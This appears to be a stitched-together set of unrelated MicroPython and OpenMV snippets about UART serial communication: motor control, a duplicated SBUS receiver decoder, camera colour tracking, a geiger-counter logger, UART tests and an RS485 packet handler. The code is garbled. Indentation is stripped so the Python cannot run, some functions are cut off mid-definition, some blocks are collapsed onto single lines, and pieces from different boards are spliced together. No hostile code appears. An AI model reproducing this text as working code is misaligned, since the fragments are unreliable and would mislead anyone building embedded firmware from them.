motor2_switch.high()
motor_L_brake.high()
motor_R_brake.high()
setSpeedR(0)
setSpeedL(0)
Switch().callback(lambda: forward(2000))
tim.callback(speedCorrection)
ExtInt('Y1', ExtInt.IRQ_RISING_FALLING, Pin.PULL_NONE,
cfreq_R) #hall sensors as inperrupts
from pyb import UART
uart = UART(1)
uart = UART(1, 9600)
uart = UART(1, 9600, bits=8, parity=None, stop=1)
print(uart)
uart.init(1200)
print(uart)
print(uart.any())
print(uart.write('123'))
print(uart.write(b'abcd'))
print(uart.writechar(1))
#_________________________________________________
# Task 6: Function to generate UART sequence for '#' on Y1
# initialize UART(6) to output TX on Pin Y1
import pyb
from pyb import Pin, Timer, UART
print('Task 6: Using UART to send "#"')
uart = UART(6)
while True:
uart.init(9600, bits=8, parity = 0, stop = 2)
uart.writechar(ord('#'))
pyb.delay(5)
class SBUSReceiver:
def __init__(self):
self.sbus = UART(3, 100000)
self.sbus.init(100000, bits=8, parity=0, stop=2, timeout_char=3, read_buf_len=250)
# constants
self.START_BYTE = b'0f'
self.END_BYTE = b'00'
self.SBUS_FRAME_LEN = 25
self.SBUS_NUM_CHAN = 18
self.OUT_OF_SYNC_THD = 10
self.SBUS_NUM_CHANNELS = 18
self.SBUS_SIGNAL_OK = 0
self.SBUS_SIGNAL_LOST = 1
self.SBUS_SIGNAL_FAILSAFE = 2
# Stack Variables initialization
self.validSbusFrame = 0
self.lostSbusFrame = 0
self.frameIndex = 0
self.resyncEvent = 0
self.outOfSyncCounter = 0
self.sbusBuff = bytearray(1) # single byte used for sync
self.sbusFrame = bytearray(25) # single SBUS Frame
self.sbusChannels = array.array('H', [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]) # RC Channels
self.isSync = False
self.startByteFound = False
self.failSafeStatus = self.SBUS_SIGNAL_FAILSAFE
# logger.info("SBUS Stack Started")
def get_rx_channels(self):
return self.sbusChannels
def get_rx_channel(self, num_ch):
return self.sbusChannels[num_ch]
def get_failsafe_status(self):
return self.failSafeStatus
def get_rx_report(self):
rep = {}
rep['Valid Frames'] = self.validSbusFrame
rep['Lost Frames'] = self.lostSbusFrame
rep['Resync Events'] = self.resyncEvent
return rep
def decode_frame(self):
# TODO: DoubleCheck if it has to be removed
for i in range(0, self.SBUS_NUM_CHANNELS - 2):
self.sbusChannels[i] = 0
# counters initialization
byte_in_sbus = 1
bit_in_sbus = 0
ch = 0
bit_in_channel = 0
for i in range(0, 175): # TODO Generalization
if self.sbusFrame[byte_in_sbus] & (1 << bit_in_sbus):
self.sbusChannels[ch] |= (1 << bit_in_channel)
bit_in_sbus += 1
bit_in_channel += 1
if bit_in_sbus == 8:
bit_in_sbus = 0
byte_in_sbus += 1
if bit_in_channel == 11:
bit_in_channel = 0
ch += 1
# Decode Digitals Channels
# Digital Channel 1
if self.sbusFrame[self.SBUS_FRAME_LEN - 2] & (1 << 0):
self.sbusChannels[self.SBUS_NUM_CHAN - 2] = 1
else:
self.sbusChannels[self.SBUS_NUM_CHAN - 2] = 0
# Digital Channel 2
if self.sbusFrame[self.SBUS_FRAME_LEN - 2] & (1 << 1):
self.sbusChannels[self.SBUS_NUM_CHAN - 1] = 1
else:
self.sbusChannels[self.SBUS_NUM_CHAN - 1] = 0
# Failsafe
self.failSafeStatus = self.SBUS_SIGNAL_OK
if self.sbusFrame[self.SBUS_FRAME_LEN - 2] & (1 << 2):
self.failSafeStatus = self.SBUS_SIGNAL_LOST
if self.sbusFrame[self.SBUS_FRAME_LEN - 2] & (1 << 3):
self.failSafeStatus = self.SBUS_SIGNAL_FAILSAFE
def get_sync(self):
if self.sbus.any() > 0:
if self.startByteFound:
if self.frameIndex == (self.SBUS_FRAME_LEN - 1):
self.sbus.readinto(self.sbusBuff, 1) # end of frame byte
if self.sbusBuff[0] == 0: # TODO: Change to use constant var value
self.startByteFound = False
self.isSync = True
self.frameIndex = 0
else:
self.sbus.readinto(self.sbusBuff, 1) # keep reading 1 byte until the end of frame
self.frameIndex += 1
else:
self.frameIndex = 0
self.sbus.readinto(self.sbusBuff, 1) # read 1 byte
if self.sbusBuff[0] == 15: # TODO: Change to use constant var value
self.startByteFound = True
self.frameIndex += 1
def get_new_data(self):
if self.isSync:
if self.sbus.any() >= self.SBUS_FRAME_LEN:
self.sbus.readinto(self.sbusFrame, self.SBUS_FRAME_LEN) # read the whole frame
if (self.sbusFrame[0] == 15 and self.sbusFrame[
self.SBUS_FRAME_LEN - 1] == 0): # TODO: Change to use constant var value
self.validSbusFrame += 1
self.outOfSyncCounter = 0
self.decode_frame()
else:
self.lostSbusFrame += 1
self.outOfSyncCounter += 1
if self.outOfSyncCounter > self.OUT_OF_SYNC_THD:
self.isSync = False
self.resyncEvent += 1
else:
self.get_sync()
# main.py -- put your code here!
from pyb import Pin, ExtInt, UART, delay
from time import sleep
import pyb
start_pin = Pin('Y3', Pin.IN, Pin.PULL_UP) # PB8 monitors start button push event.
stop_pin = Pin('X2', Pin.IN, Pin.PULL_UP) # PA1 monitors stop button push event.
led_pin = Pin('X5', Pin.OUT_PP) # PA4 drives LED indicator.
led_pin.low()
uart = UART(2, 9600) # UART2 communcates to CSi8.
uart.init(9600, bits=7, parity=1, stop=1)
start_pressed = 0
# stop_pressed = 0
t1_set = 200
t1_last = 30
t2_set = 600
t1_t2_step = 1
t1_t2_last = 480
t2_last = 120
off_last = 390
cmd_prefix = '*P012' # Write to RAM of point 1 with positive sign and decimal point 2
cmd_standby = '*D03' # Standby mode with output off
cmd_dis_standby = '*E03'# Disable standby
start_value = 0
stop_value = 0
print("stop_pin.value="+str(stop_pin.value()))
print("start_pin.value="+str(start_pin.value()))
def start_callback(line):
global start_pressed, start_int, pyb, start_pin, stop_pin
#通信协议:0x5a/0x5a/ X / Y / mode /color/distance/0xb3
# 头帧 / 头帧/色块x 默认0/色块Y 默认0/默认0，圆,1、三角形2、正方形3 篮球4 排球5 足球6/默认0 R1G2B3/默认0 物体长度 /尾帧
#三角形和正方形由于旋转的影响可能不准
import sensor, image, time, math
from pyb import UART
sensor.reset()
sensor.set_pixformat(sensor.RGB565)
sensor.set_framesize(sensor.QQVGA) #160*120
sensor.skip_frames(time=2000)
sensor.set_auto_gain(False)
sensor.set_auto_whitebal(False)
clock = time.clock()
uart = UART(3, 115200)
uart.init(115200, bits=8, parity=None, stop=1) #8位数据位，无校验位，1位停止位
threshold_index = 0 # 0 for red, 1 for green, 2 for blue
thresholds = [
(16, 71, 15, 102, -23, 97), # red_thresholds
(11, 29, -33, -17, 0, 48), # green_thresholds
(0, 42, -23, 16, -46, -5)
] # blue_thresholds
while (True):
clock.tick()
img = sensor.snapshot().rotation_corr(z_rotation=180)
#参数初始化
X = 0 #物体中心x坐标
Y = 0 #物体中心Y坐标
mode = 0 #形状 默认0 圆1角2方3
color = 0 #颜色 默认0 R1G2B3
class SBUSReceiver:
def __init__(self, uart_port):
self.sbus = UART(uart_port, 100000)
self.sbus.init(100000, bits=8, parity=0, stop=2, timeout_char=3, read_buf_len=250)
# constants
self.START_BYTE = b'0f'
self.END_BYTE = b'00'
self.SBUS_FRAME_LEN = 25
self.SBUS_NUM_CHAN = 18
self.OUT_OF_SYNC_THD = 10
self.SBUS_NUM_CHANNELS = 18
self.SBUS_SIGNAL_OK = 0
self.SBUS_SIGNAL_LOST = 1
self.SBUS_SIGNAL_FAILSAFE = 2
# Stack Variables initialization
self.validSbusFrame = 0
self.lostSbusFrame = 0
self.frameIndex = 0
self.resyncEvent = 0
self.outOfSyncCounter = 0
self.sbusBuff = bytearray(1) # single byte used for sync
self.sbusFrame = bytearray(25) # single SBUS Frame
self.sbusChannels = array.array('H', [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]) # RC Channels
self.isSync = False
self.startByteFound = False
self.failSafeStatus = self.SBUS_SIGNAL_FAILSAFE
def get_rx_channels(self):
"""
Used to retrieve the last SBUS channels values reading
:return: an array of 18 unsigned short elements containing 16 standard channel values + 2 digitals (ch 17 and 18)
"""
return self.sbusChannels
def get_rx_channel(self, num_ch):
"""
Used to retrieve the last SBUS channel value reading for a specific channel
:param: num_ch: the channel which to retrieve the value for
:return: a short value containing
"""
return self.sbusChannels[num_ch]
def get_failsafe_status(self):
"""
Used to retrieve the last FAILSAFE status
:return: a short value containing
"""
return self.failSafeStatus
def get_rx_report(self):
"""
Used to retrieve some stats about the frames decoding
:return: a dictionary containg three information ('Valid Frames','Lost Frames', 'Resync Events')
"""
rep = {}
rep['Valid Frames'] = self.validSbusFrame
rep['Lost Frames'] = self.lostSbusFrame
rep['Resync Events'] = self.resyncEvent
return rep
def decode_frame(self):
# TODO: DoubleCheck if it has to be removed
for i in range(0, self.SBUS_NUM_CHANNELS - 2):
self.sbusChannels[i] = 0
# counters initialization
byte_in_sbus = 1
bit_in_sbus = 0
ch = 0
bit_in_channel = 0
for i in range(0, 175): # TODO Generalization
if self.sbusFrame[byte_in_sbus] & (1 << bit_in_sbus):
self.sbusChannels[ch] |= (1 << bit_in_channel)
bit_in_sbus += 1
bit_in_channel += 1
if bit_in_sbus == 8:
bit_in_sbus = 0
byte_in_sbus += 1
if bit_in_channel == 11:
bit_in_channel = 0
ch += 1
# Decode Digitals Channels
# Digital Channel 1
if self.sbusFrame[self.SBUS_FRAME_LEN - 2] & (1 << 0):
self.sbusChannels[self.SBUS_NUM_CHAN - 2] = 1
else:
self.sbusChannels[self.SBUS_NUM_CHAN - 2] = 0
# Digital Channel 2
if self.sbusFrame[self.SBUS_FRAME_LEN - 2] & (1 << 1):
self.sbusChannels[self.SBUS_NUM_CHAN - 1] = 1
else:
self.sbusChannels[self.SBUS_NUM_CHAN - 1] = 0
# Failsafe
self.failSafeStatus = self.SBUS_SIGNAL_OK
if self.sbusFrame[self.SBUS_FRAME_LEN - 2] & (1 << 2):
self.failSafeStatus = self.SBUS_SIGNAL_LOST
if self.sbusFrame[self.SBUS_FRAME_LEN - 2] & (1 << 3):
self.failSafeStatus = self.SBUS_SIGNAL_FAILSAFE
def get_sync(self):
if self.sbus.any() > 0:
if self.startByteFound:
if self.frameIndex == (self.SBUS_FRAME_LEN - 1):
self.sbus.readinto(self.sbusBuff, 1) # end of frame byte
if self.sbusBuff[0] == 0: # TODO: Change to use constant var value
self.startByteFound = False
self.isSync = True
self.frameIndex = 0
else:
self.sbus.readinto(self.sbusBuff, 1) # keep reading 1 byte until the end of frame
self.frameIndex += 1
else:
self.frameIndex = 0
self.sbus.readinto(self.sbusBuff, 1) # read 1 byte
if self.sbusBuff[0] == 15: # TODO: Change to use constant var value
self.startByteFound = True
self.frameIndex += 1
def get_new_data(self):
"""
This function must be called periodically according to the specific SBUS implementation in order to update
the channels values.
For FrSky the period is 300us.
"""
if self.isSync:
if self.sbus.any() >= self.SBUS_FRAME_LEN:
self.sbus.readinto(self.sbusFrame, self.SBUS_FRAME_LEN) # read the whole frame
if (self.sbusFrame[0] == 15 and self.sbusFrame[
self.SBUS_FRAME_LEN - 1] == 0): # TODO: Change to use constant var value
self.validSbusFrame += 1
self.outOfSyncCounter = 0
self.decode_frame()
else:
self.lostSbusFrame += 1
self.outOfSyncCounter += 1
if self.outOfSyncCounter > self.OUT_OF_SYNC_THD:
self.isSync = False
self.resyncEvent += 1
else:
self.get_sync()
sensor.set_pixformat(sensor.RGB565) sensor.set_framesize(sensor.QQSIF) sensor.skip_frames(time = 2000) sensor.set_auto_gain(True) sensor.set_auto_whitebal(False) sensor.set_auto_exposure(True) sensor.set_contrast(3) sensor.set_saturation(3) ImageX = 88 ImageY = 60 letter_thresholds = (0, 50) red_thresholds = (30, 70, 30, 100, 30, 100) yellow_thresholds = (70, 100, -10, 30, 60, 100) green_thresholds = (30, 100, -100, -40, 30, 100) uart = UART(3, 9600, timeout_char=10) uart.init(9600) clock = time.clock() blobHcenter = 0 blobHtop = 255 blobHbottom = 255 blobHleft = 0 blobHright = 0 blobHtopleft = 0 blobHtopright = 0 blobHbottomleft = 0 blobHbottomright = 0 blobScenter = 0 blobStop = 0 blobSbottom = 0 blobSleft = 255 blobSright = 255
from pyb import UART uart = UART(1) uart = UART(1, 9600) uart = UART(1, 9600, bits=8, stop=1, parity=None) print(uart) uart.init(1200) print(uart) uart.any() uart.send(1, timeout=500)
import sensor, image, time, math, pyb
from pyb import UART, Pin, Timer
# LEDs for debugging
red = pyb.LED(1)
blue = pyb.LED(3)
green = pyb.LED(2)
# Setting up UART for Bluetooth
uart = UART(3, 9600, timeout_char = 10000)
uart.init(9600, bits=8, parity=None, stop=1)
# MOTOR AND SERVO INIT CODE
inA = pyb.Pin("P0", pyb.Pin.OUT_PP)
inB = pyb.Pin("P1", pyb.Pin.OUT_PP)
inA.low()
inB.low()
tim = Timer(4, freq=300) # Frequency in Hz
tim2 = Timer(2, freq=200)
ch1 = tim2.channel(1, Timer.PWM, pin=Pin("P6"), pulse_width_percent=20)
ch2 = tim.channel(2, Timer.PWM, pin=Pin("P8"), pulse_width=4500)
#programamos pines
wixel = pyb.Pin('Y11',pyb.Pin.OUT_PP)
wixel.low() #turn on
geigerPower = pyb.Pin('Y9', pyb.Pin.OUT_PP) #relay for power geiger
geigerPower.high() #turn off
geigerIn = pyb.Pin('Y10', pyb.Pin.IN)
#pitido inicial en salida Y8
tim12 = pyb.Timer(12, freq=3500)
ch2=tim12.channel(2, pyb.Timer.PWM, pin=pyb.Pin.board.Y8, pulse_width=12000)
pyb.delay(100) #in msecs
ch2.pulse_width(0)
#uart6 a wixel, pins Y1 y Y2
uart = UART(6,9600)
uart.init(9600,bits=8,stop=1,parity=None)
pyb.repl_uart(uart)
#initalize fram
fr = fram.fram()
frt = fram_t.fram_t(fr)
#rtc
rtc = pyb.RTC()
#initialize am2302
a = am2302.am2302(ch2, frt)
#initialize loop
l = loop.loop(geigerPower, a, fr, frt, ch2, uart, wixel)
class Dot(object):
x = 0
y = 0
last_dot=0
class receive(object):
uart_buf = []
_data_len = 0
_data_cnt = 0
state = 0
Receive=receive()
clock = time.clock()
dot = Dot()
uart = UART(3,115200)
uart.init(115200,timeout_char=1000)
#Global variables End
def init(is_debug,delay_time):
uart.deinit()
sensor.reset()
sensor.set_pixformat(sensor.GRAYSCALE)
sensor.set_framesize(sensor.QVGA)
sensor.set_contrast(3)
sensor.set_brightness(-3)
sensor.set_auto_exposure(True)
sensor.skip_frames(time = delay_time)
sensor.set_auto_whitebal(False)
uart.init(115200,timeout_char=1000)
if 'LaunchPad' in machine:
uart_id_range = range(0, 2)
uart_pins = [[('GP12', 'GP13'), ('GP12', 'GP13', 'GP7', 'GP6')], [('GP16', 'GP17'), ('GP16', 'GP17', 'GP7', 'GP6')]]
elif 'WiPy' in machine:
uart_id_range = range(0, 2)
uart_pins = [[('GP12', 'GP13'), ('GP12', 'GP13', 'GP7', 'GP6')], [('GP16', 'GP17'), ('GP16', 'GP17', 'GP7', 'GP6')]]
else:
raise Exception('Board not supported!')
# just in case we have stdio duplicated on any of the uarts
pyb.repl_uart(None)
for uart_id in uart_id_range:
uart = UART(uart_id, 38400)
print(uart)
uart.init(57600, 8, None, 1, pins=uart_pins[uart_id][0])
uart.init(baudrate=9600, stop=2, parity=UART.EVEN, pins=uart_pins[uart_id][1])
uart.init(baudrate=115200, parity=UART.ODD, stop=0, pins=uart_pins[uart_id][0])
uart = UART(baudrate=1000000)
uart.sendbreak()
uart = UART(baudrate=1000000)
uart = UART()
print(uart)
uart = UART(baudrate=38400, pins=('GP12', 'GP13'))
print(uart)
uart = UART(pins=('GP12', 'GP13'))
print(uart)
uart = UART(pins=(None, 'GP17'))
print(uart)
uart = UART(baudrate=57600, pins=('GP16', 'GP17'))
from pyb import UART
# test we can correctly create by id or name
for bus in (-1, 0, 1, 2, 3, 4, 5, 6, 7, "Z"):
try:
UART(bus, 9600)
print("UART", bus)
except ValueError:
print("ValueError", bus)
uart = UART(1)
uart = UART(1, 9600)
uart = UART(1, 9600, bits=8, parity=None, stop=1)
print(uart)
uart.init(2400)
print(uart)
print(uart.any())
print(uart.write('123'))
print(uart.write(b'abcd'))
print(uart.writechar(1))
# make sure this method exists
uart.sendbreak()
# non-blocking mode
uart = UART(1, 9600, timeout=0)
print(uart.write(b'1'))
print(uart.write(b'abcd'))
print(uart.writechar(1))
class RS485(object):
def __init__(self, uart_num, pin_rw, dev_id):
self.error = []
self.uart = UART(uart_num)
self.uart.init(57600, bits=8, parity=0, timeout=10, read_buf_len=64)
self.pin_rw = Pin(pin_rw)
self.pin_rw.init(Pin.OUT_PP)
self.pin_rw.value(0)
self.dev_id = dev_id
self.file_parts = 0
self.file_parts_i = 1
self.file_is_open = False
def check_lan(self):
res = []
uart = self.uart
try:
buf = uart.readall()
if buf:
buf = buf.decode("utf-8")
LED(2).toggle()
for pack in buf.split(chr(0x0)):
if pack:
try:
data = False
data = loads(pack)
if len(data) > 0 and data[0] == self.dev_id:
if data[2][0] == "SET_CONFIG_FILE":
res = [data]
if data[2][2] == False:
self.file_parts = data[2][1]
self.file_parts_i = 1
self._write_config(True, '')
self.file_is_open = True
else:
if self.file_is_open:
if self.file_parts_i == data[2][1]:
self._write_config(False, data[2][2])
if self.file_parts_i == self.file_parts:
self.file_is_open = False
self.file_parts_i += 1
else:
res = [[self.dev_id, 3]]
self.error += ["Error 3 %s" % (data)]
self.file_is_open = False
break
else:
res = [[self.dev_id, 3]]
self.error += ["Error 4 DATA: %s" % (data)]
break
else:
self.file_is_open = False
res = [data]
except Exception as e:
res = [[self.dev_id, 3]]
if data:
self.error += ["Error 1 {}".format(e.args) + " DATA: %s" % (data)]
else:
self.error += ["Error 1 {}".format(e.args) + " PACK: %s" % (pack)]
LED(4).on()
except Exception as e:
res = [[self.dev_id, 3]]
self.error += ["Error 2 {}".format(e.args)]
LED(4).on()
return res
def send_pack(self, pack_type, pack_data):
pin_rw = self.pin_rw.value
uart = self.uart
pin_rw(1)
try:
buf = [self.dev_id, pack_type, pack_data]
data = dumps(buf).encode("utf-8")
data += bytearray([0x0])
uart.write(data)
except:
#print("Возникла ошибка при отправке пакета")
#print(data)
LED(3).on()
pin_rw(0)
def _write_config(self, is_start, data):
if is_start:
f = open("config.py", "w")
else:
f = open("config.py", "a")
try:
f.write(data)
except:
pass
f.close()
